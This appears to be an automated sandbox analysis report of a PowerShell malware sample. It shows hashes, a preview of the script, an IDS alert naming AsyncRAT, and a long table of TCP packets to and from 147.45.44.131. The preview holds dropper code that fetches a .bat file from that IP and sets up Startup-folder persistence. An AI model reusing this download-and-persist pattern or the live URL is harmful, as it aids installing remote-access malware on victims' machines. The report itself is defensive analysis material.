SSDEEP:	12:G1xHeqyUVPB1eVM1t2IfVPtwOZIsUYYJy7GAWz/Iy4MhTOA6leRGFVmgEWTJ0zm7:GuEBIVMJBtIp0iJz/HZolkGFVmgEeJj7
TLSH:	90011504C7165313C271978D6713DA2BE80EC04C0111AC7D768F3C0D77A15918DF57EA
File Content Preview:	$batUrl = "http://147.45.44.131/infopage/egq53qs.bat"..$batFilePath = "C:\Windows\Temp\Package.bat"..$startupFolder = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"..$urlShortcutPath = Join-Path -Path $startupFolder -ChildPath "DeleteApp.url

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-06T07:59:08.493615+0100	2842478	ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)	1	157.20.182.177	4449	192.168.2.5	49707	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 07:58:58.337080956 CET	49704	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:58:58.342072010 CET	80	49704	147.45.44.131	192.168.2.5
Jan 6, 2025 07:58:58.342159033 CET	49704	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:58:58.345124006 CET	49704	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:58:58.350059032 CET	80	49704	147.45.44.131	192.168.2.5
Jan 6, 2025 07:58:58.972594976 CET	80	49704	147.45.44.131	192.168.2.5
Jan 6, 2025 07:58:58.972611904 CET	80	49704	147.45.44.131	192.168.2.5
Jan 6, 2025 07:58:58.972621918 CET	80	49704	147.45.44.131	192.168.2.5
Jan 6, 2025 07:58:58.972631931 CET	80	49704	147.45.44.131	192.168.2.5
Jan 6, 2025 07:58:58.972642899 CET	80	49704	147.45.44.131	192.168.2.5
Jan 6, 2025 07:58:58.972652912 CET	80	49704	147.45.44.131	192.168.2.5
Jan 6, 2025 07:58:58.972664118 CET	80	49704	147.45.44.131	192.168.2.5
Jan 6, 2025 07:58:58.972805977 CET	49704	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:58:59.105191946 CET	49704	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:58:59.228857994 CET	49705	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:58:59.233911991 CET	80	49705	147.45.44.131	192.168.2.5
Jan 6, 2025 07:58:59.233975887 CET	49705	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:58:59.234352112 CET	49705	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:58:59.239437103 CET	80	49705	147.45.44.131	192.168.2.5
Jan 6, 2025 07:58:59.860335112 CET	80	49705	147.45.44.131	192.168.2.5
Jan 6, 2025 07:58:59.868954897 CET	49705	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:58:59.874070883 CET	80	49705	147.45.44.131	192.168.2.5
Jan 6, 2025 07:58:59.874124050 CET	49705	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:01.124293089 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:01.129311085 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.129383087 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:01.129601955 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:01.134438038 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.766001940 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.766028881 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.766041994 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.766052961 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.766064882 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.766066074 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:01.766076088 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.766089916 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.766098022 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:01.766100883 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.766113043 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.766119003 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:01.766124964 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.766151905 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:01.766170025 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:01.771025896 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.771039009 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.771090031 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:01.856420040 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.856432915 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.856439114 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.856443882 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.856456995 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.856507063 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:01.856781960 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.856821060 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.856821060 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:01.856832981 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.856863976 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:01.856874943 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.856885910 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.856920958 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:01.857714891 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.857731104 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.857742071 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.857752085 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.857765913 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.857767105 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:01.857811928 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:01.858598948 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.858609915 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.858622074 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:01.858637094 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:01.858675957 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.452244997 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.457097054 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.637146950 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.637166023 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.637177944 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.637191057 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.637203932 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.637273073 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.637387991 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.637399912 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.637413979 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.637424946 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.637438059 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.637439013 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.637459993 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.637568951 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.637979031 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.637996912 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.638006926 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.638041973 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.638048887 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.638062000 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.638067007 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.638073921 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.638092995 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.638137102 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.638921022 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.638942957 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.639187098 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.726123095 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.726140976 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.726151943 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.726164103 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.726176977 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.726203918 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.726246119 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.726408958 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.726421118 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.726430893 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.726440907 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.726454020 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.726466894 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.726473093 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.726479053 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.726488113 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.726495981 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.726531029 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.727247953 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.727319002 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.727330923 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.727344036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.727370024 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.727550983 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.727839947 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.727850914 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.727863073 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.727874041 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.727885008 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.727900982 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.727927923 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.727927923 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.728445053 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.728456020 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.728466034 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.728477955 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.728492022 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.728503942 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.728506088 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.728528976 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.728602886 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.729088068 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.729099989 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.729111910 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.729140043 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.729142904 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.729155064 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.729170084 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.729176998 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.729182005 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.729182959 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.729239941 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.729240894 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.730042934 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.730092049 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.730103016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.730113983 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.730140924 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.730199099 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.815088034 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815107107 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815121889 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815138102 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815150976 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815160990 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815172911 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815196037 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.815227985 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.815395117 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815406084 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815542936 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.815551996 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815562010 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815567017 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815589905 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815599918 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815617085 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.815716028 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.815726995 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815763950 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815773964 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815783024 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.815866947 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.816504002 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.816535950 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.816579103 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.816591978 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.816602945 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.816701889 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.816731930 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.816742897 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.816757917 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.816768885 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.817081928 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.817086935 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.817090988 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.817096949 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.817099094 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.817101002 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.817150116 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.817150116 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.817465067 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.817476034 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.817488909 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.817516088 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.817517042 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.817527056 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.817549944 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.817852974 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.817895889 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.817926884 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.817936897 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.817945004 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.817996979 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.818092108 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.818104029 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.818114996 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.818155050 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.818166971 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.818172932 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.818178892 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.818370104 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.818675041 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.818686008 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.818696976 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.818707943 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.818718910 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.818731070 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.818732977 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.818742990 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.818749905 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.818753004 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.818767071 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.818777084 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.820058107 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.820071936 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.820081949 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.820112944 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.820136070 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.820147038 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.820158005 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.820168972 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.820182085 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.820250034 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.820261002 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.820274115 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.820285082 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.820295095 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.820298910 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.820307016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.820317030 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.820328951 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.820329905 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.820352077 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.820369959 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.821012020 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.821095943 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.821181059 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.821192026 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.821202040 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.821228027 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.821382999 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.821393967 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.821403980 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.821420908 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.821428061 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.821432114 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.821440935 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.821568012 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.821718931 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.821794033 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.821805000 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.821815014 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.821820974 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.821830988 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.821847916 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.821847916 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.821892977 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.904170036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.904191017 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.904201984 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.904301882 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.905495882 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905505896 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905518055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905563116 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905570984 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.905585051 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905597925 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905607939 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905612946 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.905618906 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905630112 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905639887 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.905658007 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.905666113 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905678034 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905688047 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905694962 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.905718088 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.905721903 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905731916 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905741930 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905802965 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.905802965 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.905822039 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905833960 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905843973 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905854940 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905879974 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.905886889 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905899048 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905910015 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.905916929 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905927896 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.905945063 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.906054020 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.906089067 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.906100035 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.906116009 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.906131983 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.906142950 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.906152010 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.906163931 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.906173944 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.906176090 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.906188011 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.906260967 CET	49706	80	192.168.2.5	147.45.44.131
